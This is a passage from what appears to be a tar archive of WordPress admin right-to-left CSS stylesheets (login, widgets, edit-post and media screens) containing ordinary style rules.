#3c434a; margin-right: 15px; } #gallery-settings .align .field label { margin: 0 1em 0 3px; } #gallery-settings p.ml-submit { border-top: 1px solid #dcdcde; } #gallery-settings select#columns { width: 6em; } #sort-buttons { font-size: 0.8em; margin: 3px 25px -8px 0; text-align: right; max-width: 625px; } #sort-buttons a { text-decoration: none; } #sort-buttons #asc, #sort-buttons #showall { padding-left: 5px; } #sort-buttons span { margin-right: 25px; } p.media-types { margin: 0; padding: 1em; } p.media-types-required-info { padding-top: 0; } tr.not-image { display: none; } table.not-image tr.not-image { display: table-row; } table.not-image tr.image-only { display: none; } /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .image-align-none-label { background-image: url(../images/align-none-2x.png?ver=20120916); background-size: 21px 15px; } .image-align-left-label { background-image: url(../images/align-left-2x.png?ver=20120916); background-size: 22px 15px; } .image-align-center-label { background-image: url(../images/align-center-2x.png?ver=20120916); background-size: 21px 15px; } .image-align-right-label { background-image: url(../images/align-right-2x.png?ver=20120916); background-size: 22px 15px; } } css/wp-admin-rtl.css 0000644 00000000752 15233246127 0010372 0 ustar 00 /*! This file is auto-generated */ @import url(common-rtl.css); @import url(forms-rtl.css); @import url(admin-menu-rtl.css); @import url(dashboard-rtl.css); @import url(list-tables-rtl.css); @import url(edit-rtl.css); @import url(revisions-rtl.css); @import url(media-rtl.css); @import url(themes-rtl.css); @import url(about-rtl.css); @import url(nav-menus-rtl.css); @import url(widgets-rtl.css); @import url(site-icon-rtl.css); @import url(l10n-rtl.css); @import url(site-health-rtl.css); css/login-rtl.css 0000644 00000020143 15233246127 0007762 0 ustar 00 /*! This file is auto-generated */ html, body { height: 100%; margin: 0; padding: 0; } body { background: #f0f0f1; min-width: 0; color: #3c434a; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 1.4; } a { color: var(--wp-admin-theme-color-darker-10); transition-property: border, background, color; transition-duration: .05s; transition-timing-function: ease-in-out; } a { outline: 0; } a:hover, a:active { color: var(--wp-admin-theme-color-darker-20); } a:focus { color: #043959; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } p { line-height: 1.5; } .login .message, .login .notice, .login .success { border-right: 4px solid #3858e9; padding: 8px 12px; margin-top: 0; margin-right: 0; margin-bottom: 20px; background-color: #fff; word-wrap: break-word; } .login .message p, .login .notice p, .login .success p { font-size: 13px; line-height: 1.54; margin: 0.5em 0; } .login .success { border-right-color: #4ab866; background-color: #eff9f1; } /* Match border color from common.css */ .login .notice-error { border-right-color: #cc1818; background-color: #fcf0f0; } .login .login-error-list { list-style: none; } .login .login-error-list li + li { margin-top: 4px; } #loginform p.submit, .login-action-lostpassword p.submit { border: none; margin: -10px 0 20px; /* May want to revisit this */ } .login * { margin: 0; padding: 0; } .login .input::-ms-clear { display: none; } .login .pw-weak { margin-bottom: 15px; } /* rtl:ignore */ .login .button.wp-hide-pw { background: transparent; border: 1px solid transparent; box-shadow: none; font-size: 14px; line-height: normal; width: 2.5rem; height: 2.5rem; min-width: 40px; min-height: 40px; margin: 0; padding: 5px 9px; position: absolute; right: 0; top: 0; } .login .button.wp-hide-pw:hover { background: transparent; } .login .button.wp-hide-pw:focus { background: transparent; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .login .button.wp-hide-pw:active { background: transparent; box-shadow: none; transform: none; } .login .button.wp-hide-pw .dashicons { width: 1.25rem; height: 1.25rem; } .login .wp-pwd { position: relative; } .no-js .hide-if-no-js { display: none; } .login form { margin: 24px 0; padding: 26px 24px; font-weight: 400; overflow: hidden; background: #fff; border: 1px solid #c3c4c7; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04); } .login form.shake { animation: shake 0.2s cubic-bezier(.19,.49,.38,.79) both; animation-iteration-count: 3; transform: translateX(0); } @keyframes shake { 25% { transform: translateX(20px); } 75% { transform: translateX(-20px); } 100% { transform: translateX(0); } } @media (prefers-reduced-motion: reduce) { .login form.shake { animation: none; transform: none; } } .login-action-confirm_admin_email #login { width: 60vw; max-width: 650px; margin-top: -2vh; } @media screen and (max-width: 782px) { .login-action-confirm_admin_email #login { box-sizing: border-box; margin-top: 0; padding-right: 4vw; padding-left: 4vw; width: 100vw; } } .login form .forgetmenot { font-weight: 400; float: right; margin-bottom: 0; } .login .button-primary { float: left; } .login .reset-pass-submit { display: flex; flex-flow: row wrap; justify-content: space-between; } .login .reset-pass-submit .button { display: inline-block; float: none; margin-bottom: 6px; } .login .admin-email-confirm-form .submit { text-align: center; } .admin-email__later { text-align: right; } .login form p.admin-email__details { margin: 1.1em 0; } .login .admin-email__heading { border-bottom: 1px #f0f0f1 solid; color: #50575e; font-weight: normal; padding-bottom: 0.5em; text-align: right; } .admin-email__actions div { padding-top: 1.5em; } .login .admin-email__actions .button-primary { float: none; margin-right: 0.25em; margin-left: 0.25em; } #login form p { margin-bottom: 0; } #login form .indicator-hint, #login #reg_passmail { margin-bottom: 16px; } #login form p.submit { margin: 0; padding: 0; } .login label { font-size: 14px; line-height: 1.5; display: inline-block; margin-bottom: 3px; } .login .forgetmenot label, .login .pw-weak label { line-height: 1.5; vertical-align: baseline; } .login h1 { text-align: center; } .login h1 a { background-image: url(../images/w-logo-gray.png?ver=20260303); background-image: none, url(../images/wordpress-logo-gray.svg?ver=20260303); background-size: 84px; background-position: center top; background-repeat: no-repeat; color: #3c434a; height: 84px; font-size: 20px; font-weight: 400; line-height: 1.3; margin: 0 auto 24px; padding: 0; text-decoration: none; width: 84px; text-indent: -9999px; outline: none; overflow: hidden; display: block; } #login { width: 320px; padding: 5% 0 0; margin: auto; } .login #nav, .login #backtoblog { font-size: 13px; padding: 0 24px; } .login #nav { margin: 24px 0 0; } #backtoblog { margin: 16px 0; word-wrap: break-word; } .login #nav a, .login #backtoblog a { text-decoration: none; color: #50575e; } .login #nav a:hover, .login #backtoblog a:hover, .login h1 a:hover { color: var(--wp-admin-theme-color-darker-20); } .login #nav a:focus, .login #backtoblog a:focus, .login h1 a:focus { color: #043959; } .login .privacy-policy-page-link { text-align: center; width: 100%; margin: 3em 0 2em; } .login form .input, .login input[type="text"], .login input[type="password"] { font-size: 24px; line-height: 1.33333333; /* 32px */ width: 100%; border-width: 0.0625rem; padding: 0.1875rem 0.3125rem; /* 3px 5px */ margin: 0 0 16px 6px; min-height: 40px; max-height: none; } .login input.password-input { font-family: Consolas, Monaco, monospace; } /* rtl:ignore */ .js.login input.password-input { padding-right: 2.5rem; } .js.login-action-resetpass input[type="text"], .js.login-action-resetpass input[type="password"], .js.login-action-rp input[type="text"], .js.login-action-rp input[type="password"] { margin-bottom: 0; } .login #pass-strength-result { font-weight: 600; margin: -1px 0 16px 5px; padding: 6px 5px; text-align: center; width: 100%; } body.interim-login { height: auto; } .interim-login #login { padding: 0; margin: 5px auto 20px; } .interim-login.login h1 a { width: auto; } .interim-login #login_error, .interim-login.login .message { margin: 0 0 16px; } .interim-login.login form { margin: 0; } /* Hide visually but not from screen readers */ .screen-reader-text, .screen-reader-text span { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } /* Hide the Edge "reveal password" native button */ input::-ms-reveal { display: none; } #language-switcher { padding: 0; overflow: visible; background: none; border: none; box-shadow: none; } #language-switcher select { margin-left: 0.25em; } .language-switcher { margin: 0 auto; padding: 0 0 24px; text-align: center; } .language-switcher label { margin-left: 0.25em; } .language-switcher label .dashicons { width: auto; height: auto; } .login .language-switcher .button { margin-bottom: 0; } @media screen and (max-height: 550px) { #login { padding: 20px 0; } #language-switcher { margin-top: 0; } } @media screen and (max-width: 782px) { .interim-login input[type=checkbox] { width: 1rem; height: 1rem; } .interim-login input[type=checkbox]:checked:before { width: 1.3125rem; height: 1.3125rem; margin: -0.1875rem -0.25rem 0 0; } #language-switcher label, #language-switcher select { margin-left: 0; } } @media screen and (max-width: 400px) { .login .language-switcher .button { display: block; margin: 5px auto 0; } } css/widgets-rtl.min.css 0000644 00000034436 15233246127 0011114 0 ustar 00 /*! This file is auto-generated */ .widget{margin:0 auto 10px;position:relative;box-sizing:border-box}.widget.open{z-index:99}.widget.open:focus-within{z-index:100}.widget-top{font-size:13px;font-weight:600;background:#f6f7f7}.widget-top .widget-action{border:0;margin:0;padding:10px;background:0 0;cursor:pointer}.widget-title h3,.widget-title h4{margin:0;padding:15px;font-size:1em;line-height:1;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;-webkit-user-select:none;user-select:none}.widgets-holder-wrap .widget-inside{border-top:none;padding:1px 15px 15px;line-height:1.23076923}.widget.widget-dirty .widget-control-close-wrapper{display:none}#available-widgets .widget-description,#widgets-right a.widget-control-edit,.in-widget-title{color:#646970}.deleting .widget-title,.deleting .widget-top .widget-action .toggle-indicator:before{color:#a7aaad}.wp-core-ui .media-widget-control .selected,.wp-core-ui .media-widget-control.selected .not-selected,.wp-core-ui .media-widget-control.selected .placeholder{display:none}.media-widget-control.selected .selected{display:inline-block}.media-widget-buttons{text-align:right;margin-top:0}.media-widget-control .media-widget-buttons .button{width:auto;height:auto;margin-top:12px;white-space:normal}.media-widget-buttons .button:first-child{margin-left:8px}.media-widget-control .attachment-media-view .button-add-media,.media-widget-control .placeholder{border:1px dashed #c3c4c7;box-sizing:border-box;cursor:pointer;line-height:1.6;padding:9px 0;position:relative;text-align:center;width:100%}.media-widget-control .attachment-media-view .button-add-media{cursor:pointer;background-color:#f0f0f1;color:#2c3338}.media-widget-control .attachment-media-view .button-add-media:hover{background-color:#fff}.media-widget-control .attachment-media-view .button-add-media:focus{background-color:#fff;border-style:solid;border-color:#4f94d4;box-shadow:0 0 3px rgba(34,113,177,.8);outline:2px solid transparent;outline-offset:-2px}.media-widget-control .media-widget-preview{background:0 0;text-align:center}.media-widget-control .media-widget-preview .notice{text-align:initial}.media-frame .media-widget-embed-notice p code,.media-widget-control .notice p code{padding:0 0 0 3px}.media-frame .media-widget-embed-notice{margin-top:16px}.media-widget-control .media-widget-preview img{max-width:100%;vertical-align:middle;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}.media-widget-control .media-widget-preview .wp-video-shortcode{background:#000}.media-frame.media-widget .media-toolbar-secondary{min-width:300px}.media-frame.media-widget .attachment-display-settings .setting.align,.media-frame.media-widget .checkbox-setting.autoplay,.media-frame.media-widget .embed-link-settings .setting.link-text,.media-frame.media-widget .embed-media-settings .legend-inline,.media-frame.media-widget .embed-media-settings .setting.align,.media-frame.media-widget .image-details .embed-media-settings .setting.align,.media-frame.media-widget .replace-attachment{display:none}.media-widget-video-preview{width:100%}.media-widget-video-link{display:inline-block;min-height:132px;width:100%;background:#000}.media-widget-video-link .dashicons{font:normal 60px/1 dashicons;position:relative;width:100%;top:-90px;color:#fff;text-decoration:none}.media-widget-video-link.no-poster .dashicons{top:30px}.media-frame #embed-url-field.invalid,.media-widget-image-link>.link:invalid{border:1px solid #d63638}.media-widget-image-link{margin:1em 0}.media-widget-gallery-preview{display:flex;justify-content:flex-start;flex-wrap:wrap;margin:-1.79104477%}.media-widget-preview.media_gallery,.media-widget-preview.media_image{cursor:pointer}.media-widget-preview .placeholder{background:#f0f0f1}.media-widget-gallery-preview .gallery-item{box-sizing:border-box;width:50%;margin:0;background:0 0}.media-widget-gallery-preview .gallery-item .gallery-icon{margin:4.5%}.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child,.media-widget-gallery-preview .gallery-item:nth-last-child(3):first-child~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+5),.media-widget-gallery-preview .gallery-item:nth-last-child(n+5)~.gallery-item,.media-widget-gallery-preview .gallery-item:nth-last-child(n+6),.media-widget-gallery-preview .gallery-item:nth-last-child(n+6)~.gallery-item{max-width:33.33%}.media-widget-gallery-preview .gallery-item img{height:auto;vertical-align:bottom}.media-widget-gallery-preview .gallery-icon{position:relative}.media-widget-gallery-preview .gallery-icon-placeholder{position:absolute;top:0;bottom:0;width:100%;box-sizing:border-box;display:flex;align-items:center;justify-content:center;background-color:rgba(0,0,0,.5)}.media-widget-gallery-preview .gallery-icon-placeholder-text{font-weight:600;font-size:2em;color:#fff}.widget.ui-draggable-dragging{min-width:100%}.widget.ui-sortable-helper{opacity:.8}.widget-placeholder{border:1px dashed #c3c4c7;margin:0 auto 10px;height:45px;width:100%;box-sizing:border-box}#widgets-right .widget-placeholder{margin-top:0}#widgets-right .closed .widget-placeholder{height:0;border:0;margin-top:-10px}.sidebar-name{position:relative;box-sizing:border-box}.js .sidebar-name{cursor:pointer}.sidebar-name .handlediv{float:left;width:38px;height:38px;border:0;margin:0;padding:8px;background:0 0;cursor:pointer;outline:0}#widgets-right .sidebar-name .handlediv{margin:5px 0 0 3px}.sidebar-name .handlediv:focus{box-shadow:none;outline:1px solid transparent}#widgets-left .sidebar-name .toggle-indicator{display:none}#widgets-left .sidebar-name .handlediv:focus .toggle-indicator,#widgets-left .sidebar-name:hover .toggle-indicator,#widgets-left .widgets-holder-wrap.closed .sidebar-name .toggle-indicator{display:block}.sidebar-name .toggle-indicator:before{padding:1px 0 1px 2px;border-radius:50%}.sidebar-name .handlediv:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.sidebar-name h2,.sidebar-name h3{margin:0;padding:8px 10px;overflow:hidden;white-space:normal;line-height:1.5}.widgets-holder-wrap .description{padding:0 0 15px;margin:0;font-style:normal;color:#646970}.inactive-sidebar .description,.widget-holder .description{color:#50575e}#widgets-right .widgets-holder-wrap .description{padding-right:7px;padding-left:7px}div.widget-liquid-left{margin:0;width:38%;float:right}div.widget-liquid-right{float:left;width:58%}div#widgets-left{padding-top:12px}div#widgets-left .closed .sidebar-name,div#widgets-left .inactive-sidebar.closed .sidebar-name{margin-bottom:10px}div#widgets-left .sidebar-name h2,div#widgets-left .sidebar-name h3{padding:10px 0;margin:0 0 0 10px}#widgets-left .widgets-holder-wrap,div#widgets-left .widget-holder{background:0 0;border:none}#widgets-left .widgets-holder-wrap{border:none;box-shadow:none}#available-widgets .widget{margin:0}#available-widgets .widget:nth-child(odd){clear:both}#available-widgets .widget .widget-description{display:block;padding:10px 15px;font-size:12px;overflow-wrap:break-word;word-wrap:break-word;-ms-word-break:break-all;word-break:break-word;hyphens:auto}#available-widgets #widget-list{position:relative}#widgets-left .inactive-sidebar{clear:both;width:100%;background:0 0;padding:0;margin:0 0 20px;border:none;box-shadow:none}#widgets-left .inactive-sidebar.first{margin-top:40px}div#widgets-left .inactive-sidebar .widget.expanded{right:auto}.widget-title-action{float:left;position:relative}div#widgets-left .inactive-sidebar .widgets-sortables{min-height:42px;padding:0;background:0 0;margin:0;position:relative}div#widgets-right .sidebars-column-1,div#widgets-right .sidebars-column-2{max-width:450px}div#widgets-right .widgets-holder-wrap{margin:10px 0 0}div#widgets-right .sidebar-description{min-height:20px;margin-top:-5px}div#widgets-right .sidebar-name h2,div#widgets-right .sidebar-name h3{padding:15px 7px 15px 15px}div#widgets-right .widget-top{padding:0}div#widgets-right .widgets-sortables{padding:0 8px;margin-bottom:9px;position:relative;min-height:123px}div#widgets-right .closed .widgets-sortables{min-height:0;margin-bottom:0}.remove-inactive-widgets .spinner,.sidebar-name .spinner{float:none;position:relative;top:-2px;margin:-5px 5px}.sidebar-name .spinner{position:absolute;top:18px;left:30px}#widgets-right .widgets-holder-wrap.widget-hover{border-color:#787c82;box-shadow:0 1px 2px rgba(0,0,0,.3)}.widget-access-link{float:left;margin:-5px 10px 10px 0}.widgets_access #widgets-left .widget .widget-top{cursor:auto}.widgets_access #wpwrap .widget-control-edit,.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,.widgets_access #wpwrap .widgets-holder-wrap.closed .widget{display:block}.widgets_access #widgets-left .widget .widget-top:hover,.widgets_access #widgets-right .widget .widget-top:hover{border-color:#dcdcde}#available-widgets .widget-action .edit,#available-widgets .widget-control-edit .edit,#widgets-left .inactive-sidebar .widget-action .add,#widgets-left .inactive-sidebar .widget-control-edit .add,#widgets-right .widget-action .add,#widgets-right .widget-control-edit .add{display:none}.widget-control-edit{display:block;color:#646970;background:#f0f0f1;padding:0 15px;line-height:3.30769230;border-right:1px solid #dcdcde}#widgets-left .widget-control-edit:hover,#widgets-right .widget-control-edit:hover{color:#fff;background:#3c434a;border-right:0;outline:1px solid #3c434a}.widgets-holder-wrap .sidebar-description,.widgets-holder-wrap .sidebar-name{-webkit-user-select:none;user-select:none}.editwidget{margin:0 auto}.editwidget .widget-inside{display:block;padding:0 15px}.widget-control-actions{display:flex;align-items:center;justify-content:space-between}.editwidget .widget-control-actions{margin-top:20px}.js .closed br.clear,.js .widgets-holder-wrap.closed .description,.js .widgets-holder-wrap.closed .remove-inactive-widgets,.js .widgets-holder-wrap.closed .sidebar-description,.js .widgets-holder-wrap.closed .widget{display:none}.js .widgets-holder-wrap.closed .widget.ui-sortable-helper{display:block}.widget-description,.widget-inside{display:none}.widget-inside{background:#fff}.widget-inside select{max-width:100%}#removing-widget{display:none;font-weight:400;padding-right:15px;font-size:12px;line-height:1;color:#000}.js #removing-widget{color:#72aee6}#access-off,.no-js .widget-holder .description,.widget-control-noform,.widgets_access #access-on,.widgets_access .handlediv,.widgets_access .widget-action,.widgets_access .widget-holder .description{display:none}.widgets_access #widget-list,.widgets_access .widget-holder{padding-top:10px}.widgets_access #access-off{display:inline}.widgets_access .sidebar-name,.widgets_access .widget .widget-top{cursor:default}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{transition:opacity .1s linear}.widget-liquid-left #widgets-left.chooser #available-widgets .widget,.widget-liquid-left #widgets-left.chooser .inactive-sidebar{opacity:.2;pointer-events:none}.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question{opacity:1;pointer-events:auto}#available-widgets .widget-top:hover,#widgets-left .widget-in-question .widget-top,#widgets-left .widget-top:hover,.widgets-chooser ul,div#widgets-right .widget-top:hover{border-color:#8c8f94;box-shadow:0 1px 2px rgba(0,0,0,.1)}.widgets-chooser ul.widgets-chooser-sidebars{margin:0;list-style-type:none;max-height:300px;overflow:auto}.widgets-chooser{display:none}.widgets-chooser ul{border:1px solid #c3c4c7}.widgets-chooser li{border-bottom:1px solid #c3c4c7;background:#fff;margin:0;position:relative}.widgets-chooser .widgets-chooser-button{width:100%;padding:10px 35px 10px 15px;background:0 0;border:0;box-sizing:border-box;text-align:right;cursor:pointer;transition:background .2s ease-in-out}.widgets-chooser .widgets-chooser-button:focus,.widgets-chooser .widgets-chooser-button:hover{outline:0;text-decoration:underline}.widgets-chooser li:last-child{border:none}.widgets-chooser .widgets-chooser-selected .widgets-chooser-button{background:var(--wp-admin-theme-color,#3858e9);color:#fff}.widgets-chooser .widgets-chooser-selected:before{content:"\f147";content:"\f147"/'';display:block;-webkit-font-smoothing:antialiased;font:normal 26px/1 dashicons;color:#fff;position:absolute;top:7px;right:5px}.widgets-chooser .widgets-chooser-actions{padding:10px 0 12px;text-align:center}#available-widgets .widget .widget-top{cursor:pointer}#available-widgets .widget.ui-draggable-dragging .widget-top{cursor:move}.text-widget-fields{position:relative}.text-widget-fields [hidden]{display:none}.text-widget-fields .wp-pointer.wp-pointer-top{position:absolute;z-index:3;top:100px;left:10px;right:10px}.text-widget-fields .wp-pointer .wp-pointer-arrow{right:auto;left:15px}.text-widget-fields .wp-pointer .wp-pointer-buttons{line-height:1.4}.custom-html-widget-fields>p>.CodeMirror{border:1px solid #dcdcde}.custom-html-widget-fields code{padding-top:1px;padding-bottom:1px}ul.CodeMirror-hints{z-index:101}.widget-control-actions .custom-html-widget-save-button.button.validation-blocked{cursor:not-allowed}@media screen and (max-width:782px){.editwidget .widget-inside input[type=checkbox],.editwidget .widget-inside input[type=radio],.widgets-holder-wrap .widget-inside input[type=checkbox],.widgets-holder-wrap .widget-inside input[type=radio]{margin:.25rem 0 .25rem .25rem}}@media screen and (max-width:480px){div.widget-liquid-left{width:100%;float:none;border-left:none;padding-left:0}#widgets-left .sidebar-name{margin-left:0}#widgets-left #available-widgets .widget-top{margin-left:0}#widgets-left .inactive-sidebar .widgets-sortables{margin-left:0}div.widget-liquid-right{width:100%;float:none}div.widget{max-width:480px}.widget-access-link{float:none;margin:15px 0 0}}@media screen and (max-width:320px){div.widget{max-width:320px}}@media only screen and (min-width:1250px){#widgets-left #available-widgets .widget{width:49%;float:right}.widget.ui-draggable-dragging{min-width:49%}#widgets-left #available-widgets .widget:nth-child(2n){float:left}#widgets-right .sidebars-column-1,#widgets-right .sidebars-column-2{float:right;width:49%}#widgets-right .sidebars-column-1{margin-left:2%}#widgets-right.single-sidebar .sidebars-column-1,#widgets-right.single-sidebar .sidebars-column-2{float:none;width:100%;margin:0}} css/edit-rtl.css 0000644 00000113555 15233246127 0007611 0 ustar 00 /*! This file is auto-generated */ #poststuff { padding-top: 10px; min-width: 763px; } #poststuff #post-body { padding: 0; } #poststuff .postbox-container { width: 100%; } #poststuff #post-body.columns-2 { margin-left: 300px; } /*------------------------------------------------------------------------------ 11.0 - Write/Edit Post Screen ------------------------------------------------------------------------------*/ #show-comments { overflow: hidden; } #save-action .spinner, #show-comments a { float: right; } #show-comments .spinner { float: none; margin-top: 0; } #lost-connection-notice .spinner { visibility: visible; float: right; margin: 0 0 0 5px; } #titlediv { position: relative; } #titlediv label { cursor: text; } #titlediv div.inside { margin: 0; } #poststuff #titlewrap { border: 0; padding: 0; } #titlediv #title { padding: 3px 8px; font-size: 1.7em; line-height: 100%; height: 1.7em; width: 100%; outline: none; margin: 0 0 3px; background-color: #fff; } #titlediv #title-prompt-text { color: #646970; position: absolute; font-size: 1.7em; padding: 10px; pointer-events: none; } #titlewrap .skiplink { background: #fff; line-height: 2.30769231; /* 30px for 32px min-height */ min-height: 32px; left: 4px; } #titlewrap .skiplink:focus { clip: inherit; clip-path: inherit; top: 4px; width: auto; } input#link_description, input#link_url { width: 100%; } #pending { background: 100% none; border: 0 none; padding: 0; font-size: 11px; margin-top: -1px; } #edit-slug-box, #comment-link-box { line-height: 1.84615384; min-height: 25px; margin-top: 5px; padding: 0 10px; color: #646970; } #sample-permalink { display: inline-block; max-width: 100%; word-wrap: break-word; } #edit-slug-box .cancel { margin-left: 10px; padding: 0; } #comment-link-box { margin: 5px 0; padding: 0 5px; } #editable-post-name-full { display: none; } #editable-post-name { font-weight: 600; } #editable-post-name input { font-size: 13px; font-weight: 400; min-height: 32px; margin: 0; width: 16em; } .postarea h3 label { float: right; } body.post-new-php .submitbox .submitdelete { display: none; } .submitbox .submit a:hover { text-decoration: underline; } .submitbox .submit input { margin-bottom: 8px; margin-left: 4px; padding: 6px; } #post-status-select { margin-top: 3px; } body.post-type-wp_navigation div#minor-publishing, body.post-type-wp_navigation .inline-edit-status { display: none; } /* Post Screen */ /* Only highlight drop zones when dragging and only in the 2 columns layout. */ .is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables { border-radius: 8px; background: rgb(var(--wp-admin-theme-color--rgb), 0.04); /* * This min-height is meant to limit jumpiness while dragging. It's equivalent * to the minimum height of the sortable-placeholder which is given by the height * of a collapsed post box (36px + 1px top and bottom borders) + the placeholder * bottom margin (20px) + 2 additional pixels to compensate browsers rounding. */ min-height: 60px; margin-bottom: 20px; } .postbox { position: relative; min-width: 255px; border: 1px solid #c3c4c7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); background: #fff; } #trackback_url { width: 99%; } #normal-sortables .postbox .submit { background: transparent none; border: 0 none; float: left; padding: 0 12px; margin: 0; } .category-add input[type="text"], .category-add select { width: 100%; max-width: 260px; vertical-align: baseline; } #side-sortables .category-add input[type="text"], #side-sortables .category-add select { margin: 0 0 1em; } ul.category-tabs li, #side-sortables .add-menu-item-tabs li, .wp-tab-bar li { display: inline; line-height: 1.35; } .no-js .category-tabs li.hide-if-no-js { display: none; } .category-tabs a, #side-sortables .add-menu-item-tabs a, .wp-tab-bar a { text-decoration: none; } /* @todo: do these really need to be so specific? */ #side-sortables .category-tabs .tabs a, #side-sortables .add-menu-item-tabs .tabs a, .wp-tab-bar .wp-tab-active a, #post-body ul.category-tabs li.tabs a, #post-body ul.add-menu-item-tabs li.tabs a { color: #2c3338; } .category-tabs { margin: 8px 0 5px; } /* Back-compat for pre-4.4 */ #category-adder h4 { margin: 0; } .taxonomy-add-new { display: inline-block; margin: 10px 0; font-weight: 600; } #side-sortables .add-menu-item-tabs, .wp-tab-bar { margin-bottom: 3px; } #normal-sortables .postbox #replyrow .submit { float: none; margin: 0; padding: 5px 7px 10px; overflow: hidden; } #side-sortables .submitbox .submit input, #side-sortables .submitbox .submit .preview, #side-sortables .submitbox .submit a.preview:hover { border: 0 none; } /* @todo: make this a more generic class */ ul.category-tabs, ul.add-menu-item-tabs, ul.wp-tab-bar { margin-top: 12px; } ul.category-tabs li, ul.add-menu-item-tabs li { border: solid 1px transparent; position: relative; } ul.category-tabs li.tabs, ul.add-menu-item-tabs li.tabs, .wp-tab-active { border: 1px solid #dcdcde; border-bottom-color: #fff; background-color: #fff; } ul.category-tabs li, ul.add-menu-item-tabs li, ul.wp-tab-bar li { padding: 3px 5px 6px; } #set-post-thumbnail { display: inline-block; max-width: 100%; } #postimagediv .inside img { max-width: 100%; height: auto; vertical-align: top; background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 100% 0, 10px 10px; background-size: 20px 20px; } form#tags-filter { position: relative; } /* Global classes */ .wp-hidden-children .wp-hidden-child, .ui-tabs-hide { display: none; } #post-body .tagsdiv #newtag { margin-left: 0; flex: 1; min-width: 0; } #side-sortables input#post_password { width: 94% } #side-sortables .tagsdiv #newtag { flex: 1; min-width: 0; } #post-status-info { width: 100%; border-spacing: 0; border: 1px solid #c3c4c7; border-top: none; background-color: #f6f7f7; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); z-index: 999; } #post-status-info td { font-size: 12px; } .autosave-info { padding: 2px 10px; text-align: left; } #editorcontent #post-status-info { border: none; } #content-resize-handle { background: transparent url(../images/resize.gif) no-repeat scroll left bottom; width: 12px; cursor: row-resize; } /*rtl:ignore*/ .rtl #content-resize-handle { background-image: url(../images/resize-rtl.gif); background-position: left bottom; } .wp-editor-expand #content-resize-handle { display: none; } #postdivrich #content { resize: none; } #wp-word-count { padding: 2px 10px; } #wp-content-editor-container { position: relative; } .wp-editor-expand #wp-content-editor-tools { z-index: 1000; border-bottom: 1px solid #c3c4c7; } .wp-editor-expand #wp-content-editor-container { box-shadow: none; margin-top: -1px; } .wp-editor-expand #wp-content-editor-container { border-bottom: 0 none; } .wp-editor-expand div.mce-statusbar { z-index: 1; } .wp-editor-expand #post-status-info { border-top: 1px solid #c3c4c7; } .wp-editor-expand div.mce-toolbar-grp { z-index: 999; } /* TinyMCE native fullscreen mode override */ .mce-fullscreen #wp-content-wrap .mce-menubar, .mce-fullscreen #wp-content-wrap .mce-toolbar-grp, .mce-fullscreen #wp-content-wrap .mce-edit-area, .mce-fullscreen #wp-content-wrap .mce-statusbar { position: static !important; width: auto !important; padding: 0 !important; } .mce-fullscreen #wp-content-wrap .mce-statusbar { visibility: visible !important; } .mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw { display: none; } .post-php.mce-fullscreen #wpadminbar, .mce-fullscreen #wp-content-wrap .mce-wp-dfw { display: none; } /* End TinyMCE native fullscreen mode override */ #wp-content-editor-tools { background-color: #f0f0f1; padding-top: 20px; } #poststuff #post-body.columns-2 #side-sortables { width: 280px; } #timestampdiv select { vertical-align: top; font-size: 12px; line-height: 2.33333333; /* 28px */ } #aa, #jj, #hh, #mn { padding: 6px 1px; font-size: 12px; line-height: 1.16666666; /* 14px */ } #jj, #hh, #mn { width: 2em; } #aa { width: 3.4em; } .curtime #timestamp { padding: 2px 0 1px; display: inline !important; height: auto !important; } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-uploadedby:before, #post-body .misc-pub-uploadedto:before, #post-body .misc-pub-revisions:before, #post-body .misc-pub-response-to:before, #post-body .misc-pub-comment-status:before { color: #8c8f94; } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-uploadedby:before, #post-body .misc-pub-uploadedto:before, #post-body .misc-pub-revisions:before, #post-body .misc-pub-response-to:before, #post-body .misc-pub-comment-status:before { font: normal 20px/1 dashicons; display: inline-block; margin-right: -1px; padding-left: 3px; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #post-body .misc-pub-post-status:before, #post-body .misc-pub-comment-status:before { content: "\f173"; content: "\f173" / ''; } #post-body #visibility:before { content: "\f177"; content: "\f177" / ''; } .curtime #timestamp:before { content: "\f145"; content: "\f145" / ''; position: relative; top: -1px; } #post-body .misc-pub-uploadedby:before { content: "\f110"; content: "\f110" / ''; position: relative; top: -1px; } #post-body .misc-pub-uploadedto:before { content: "\f318"; 